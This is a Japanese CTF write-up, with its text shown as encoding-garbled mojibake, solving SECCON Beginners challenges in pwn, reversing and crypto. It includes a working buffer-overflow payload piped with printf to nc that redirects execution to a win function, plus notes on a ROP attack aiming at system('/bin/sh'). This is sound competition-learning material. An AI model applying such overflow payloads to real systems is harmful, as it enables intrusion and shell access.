åç·šã¯ãã¡ã æ¬èšäºã¯picoCTF 2022ã®WriteupïŒåç·šïŒã®ç¶ãã§ãã ###card_post_id=826### pwnable BeginnerBof ããã°ã©ã ãã¿ããšãmain颿°å
ã§ fgets颿°ãå©çšããŠããŸããBuffer Overflow ãçãããã§ãã ãã®é¢æ°ã®æ»ãã¢ãã¬ã¹ã Buffer Overflow ã§æžãæããwin颿°ã«é·ç§»ãããããšã§ãã©ã°ãå
¥æã§ãããã§ãã gdb (PEDAæ¡åŒµä»ã)ãå©çšããâ fgets颿°å®è¡çŽåŸã®ã¹ã¿ãã¯ã®ç¶æ
ã調ã¹ãŸãã objdumpã³ãã³ãã§é·ç§»ããã â¡win颿°ã®ã¢ãã¬ã¹ ã調ã¹ãŸãã $ objdump -t chall | grep win00000000004011e6 g F .text 000000000000007d win â â¡ã®2ã€ã®æ
å ±ãããå
¥åãã¹ãããŒã¿ãåãããŸãããå®éã«å®è¡ããŠãã©ã°ãå
¥æããŸãã $ printf '49\n0123456789012345678901234567890123456789\xe6\x11\x40\x0\x0\x0\x0\x0' | nc beginnersbof.quals.beginners.seccon.jp 9000How long is your name?What's your name?Hello 0123456789012345678901234567890123456789ᅵ@ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}Segmentation fault raindrop ããŒããŠããŸãã? nc raindrop.quals.beginners.seccon.jp 9001 raindrop.tar.gz d6af5202e0af725b281f8771efa594b133955a46 ç¹ã«èšãããšãªãã®äººã§ãã 22æããéå§ããŠæ4æãŸã§æ Œéãèµ·åºããŠããããã£ãšæ ŒéããŠããŸããããçµãè§£ããŸããã§ããã ã¿ã€ãã«ã©ããROPãçãã«è¡ãåé¡ã ãšæãã vuln颿°å
ã® read ã«å¯ŸããŠãªãŒããŒãããŒèµ·ãã㊠system('/bin/sh') ãã³ãŒã«ããŠã·ã§ã«ã奪åããæãã ãšæãããã£ãšãããããŸãããŠããŸããã void vuln() { char buf[BUFF_SIZE] = {0}; show_stack(buf); puts("You can earn points by submitting the contents of flag.txt"); puts("Did you understand?") ; read(0, buf, 0x30); puts("bye!"); show_stack(buf);} ãã /bin/sh ã®ã¢ãã¬ã¹ããããããããžã§é£ãããªãâŠïŒã»ããšã«ãããeasyâŠïŒãã£ãŠãªããŸããã ïŒæ4æïŒ reversing Quiz éã³ã³ãã€ã«ãéã¢ã»ã³ãã©ã詊ããŸããããçµå±ã¯ strings ã³ãã³ãã§ã ãã©ã°ãåããŸããã $ strings quiz | grep ctf4bctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?} Recursive ãªããŒã¹ãšã³ãžãã¢ãªã³ã°ããŒã« Ghidra ã§ããŠã³ããŒãããå®è¡ãã€ããªããã³ã³ãã€ã«ããŸãã 颿°check ããã©ã°ã®åŠ¥åœæ§ããã§ãã¯ãã颿°ãšåãããŸãã undefined8 check(char *param_1,int param_2){ int iVar1; int iVar2; int iVar3; size_t sVar4; char *pcVar5; sVar4 = strlen(param_1); iVar3 = (int)sVar4; if (iVar3 == 1) { if (table[param_2] != *param_1) { return 1; } } else { iVar1 = iVar3 / 2; pcVar5 = (char *)malloc((long)iVar1); strncpy(pcVar5,param_1,(long)iVar1); iVar2 = check(pcVar5,param_2); if (iVar2 == 1) { return 1; } pcVar5 = (char *)malloc((long)(iVar3 - iVar1)); strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1)); iVar3 = check(pcVar5,iVar1 * iVar1 + param_2); if (iVar3 == 1) { return 1; } } return 0;} 倿°åãªã©éåžžã«è§£èªãã¥ããã§ããããªããšãèªããŸãã python3ã§èšè¿°ãããšä»¥äžã®ãããªé¢æ°ã§ãã def check(s: str, i: int) -> bool: l = len(s) if l == 1: return table[i] == s else: h = l // 2 return check(s[:h], i) and check(s[h:], h * h + i) ãã©ã°ã¯ãã€ããªã®main颿°ãã38æåãšåãã£ãŠããŸãã ãããéè§£æããåŠçãpythonã§èšè¿°ãããšä»¥äžã®ãšããã§ãã def solve(i: int, length: int) -> str: if length == 1: return table[i] else: h = length // 2 return solve(i, h) + solve(i + h * h, length - h)flag = solve(0, 38)print(flag)print("check:", check(flag, 0)) crypto CoughingFox ããã¯è¿ä»£çãªæå·ã®ç¥èãäžèŠãªåé¡ã§ãã å®çŽã«è€åããã°ã©ã ãå®è£
ããŠããã©ã°ãå
¥æããŸãã cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]def solve() -> str: for i in range(len(cipher)): s = [chr(c) for c in range(32, 128) if (c + i) ** 2 + i in cipher] if len(s) != 1: raise "decrypt error" yield s[0]print(*solve(), sep="") PrimeParty nc ã³ãã³ãã§ãµãŒããŒã«ã€ãªããšã4ã€ã®ã©ã³ãã ãªçŽ æ°ãéžã°ããŠããŠãŒã¶ã«ã¯3ã€æŽæ°ã®å
¥åãæ±ããããã [*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### âãµãŒãåŽã§ã©ã³ãã ãªä¹±æ°ãéžã°ãã[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### âãµãŒãåŽã§ã©ã³ãã ãªä¹±æ°ãéžã°ãã[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### âãµãŒãåŽã§ã©ã³ãã ãªä¹±æ°ãéžã°ãã[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### âãµãŒãåŽã§ã©ã³ãã ãªä¹±æ°ãéžã°ãã[*] Do you want to invite more guests? > 3 ### âãŠãŒã¶å
¥å[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-[*] Do you want to invite more guests? > 7 ### âãŠãŒã¶å
¥å[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-[*] Do you want to invite more guests? > 5 ### âãŠãŒã¶å
¥å[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-n = 4004010545354487155134564423760393760628501822648175413485182403177802614497075083081182871142220683183557620516756004878516975932858973203260775712393382486169226826588778865850046172282431818404573401295548665402655542135864623672522705582354620536818733452475391502972892348382776846641213215684323978472895e = 65537cipher = 121704966078479187399961267434675399383069953478329222718742231454820171887448985921148428703591817131480017620241185738604457598736158812775226455348391419990103216749070153064390290750749137854194363776138035694542075230511050030917515938266383908268072173261379715604042999949226506925007130601447660721627 ããã§ã n ã¯ããµãŒãåŽã§ã©ã³ãã ã«èšå®ãããçŽ æ°ïŒã€ãšããŠãŒã¶å
¥åã®ïŒã€ã®æŽæ°ã®ãã¡çŽ æ°ãå
šãŠããåãããæ°ã§ããã e ã¯65537ã§åºå®ã§ããã cipher ã®å€ã¯ã次ã®ããã«èšç®ãããŠããã cipher = pow(flag, e, n) ããã£ãŠRSAæå·ã«äŒŒãŠãã®ã§ã e ã«å¯Ÿå¿ãã d ãæ±ºããŠã flag = pow(cipher, d, n) ãèšç®ããã°ããããããïŒãšæã£ããã d ãæ±ºããããã«ã¯ã n ãçŽ å æ°åè§£ããªããšãããªãã®ã§ãã»ãã®ææ®µã¯ãªãã®ïŒãšããããããŠãããéã«åããªãã£ãã äœåè
ã®WriteUpãã¿ãŠã次ã®ããã«è§£ãã°ãããšããããŸããã pãçŽ æ°ã§ãnãå¹³æ¹å åã®ãªãèªç¶æ°ã§ãããšã â ãªã€ã©ãŒã®å®ç \(t \equiv 1\pmod {pâ1}â a^t \equiv a\pmod p\) â¡ FLAGãã倧ããªçŽ æ° p ãæ±ãã (455bitãã倧ãããµã€ãºã§ããã°OK) ⢠\(ed \equiv 1\pmod {pâ1}\)ãªã\(e\)ãæ¢ã ⣠\(cipher\)ã\(p\)ã§å²ã£ãäœãã\(r\)ãšããã â ãâ¢ãã$$ r^d \equiv X^{ed} \equiv X \pmod p $$ããããŠãâ¡ããããã®æ¡ä»¶ãæºãã\(X\)ã®ãã¡æå°ã®ãã®ãFLAGã§ããã â¢ã®ãããª\(d\)ã¯æ¬¡ã®ããã°ã©ã ã§æ±ããããããã pow(e, -1, p-1) â¡ã®çŽ æ°ã¯ã\(2^{455}\)ãã ããã137ã±ã¿ãªã®ã§ã138ã±ã¿ä»¥äžã®çŽ æ°ãæ¢ããŠæã£ãŠããã°ããã https://ja.wikipedia.org/wiki/%E5%B7%A8%E5%A4%A7%E3%81%AA%E7%B4%A0%E6%95%B0%E3%81%AE%E4%B8%80%E8%A6%A7 ãããããã¡ã«ã»ã³ãçŽ æ° \(M_{521}=2^{521}-1\)ã䜿ãã°ãããã In [6]: 2**521 - 1Out[6]: 6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151 https://www2.math.kyushu-u.ac.jp/~snii/RSA.pdf 以äžãã d = pow(e, -1, p-1)flag_int = cipher ** d welcome å®èµ°ããææ³ æšå¹Žåå ãããšãã¯äžäœ15ïŒ
ã»ã©ã§ããããä»åã¯äžäœ7ïŒ
ãšããªããããšãããŸã§è¡ãããšæããŸãããããïŒ æšå¹Žåæ§ã«ãªã£ãŠããŸããŸããã pwnable ãš reversing ã crypto ã¯åçããŒã ãå°ãªããå·®ãåºããã€ã³ãããªãšæããŸããã ãšãããããžã§ãã®3ãžã£ã³ã«ã¯é£ãããã ãã匷ã人ãããããïŒ åŸ
ã£ãŠããŸãïŒ â»ãµã ãç»åããŽã¯ãSECCON Beginners CTFãããåŒçš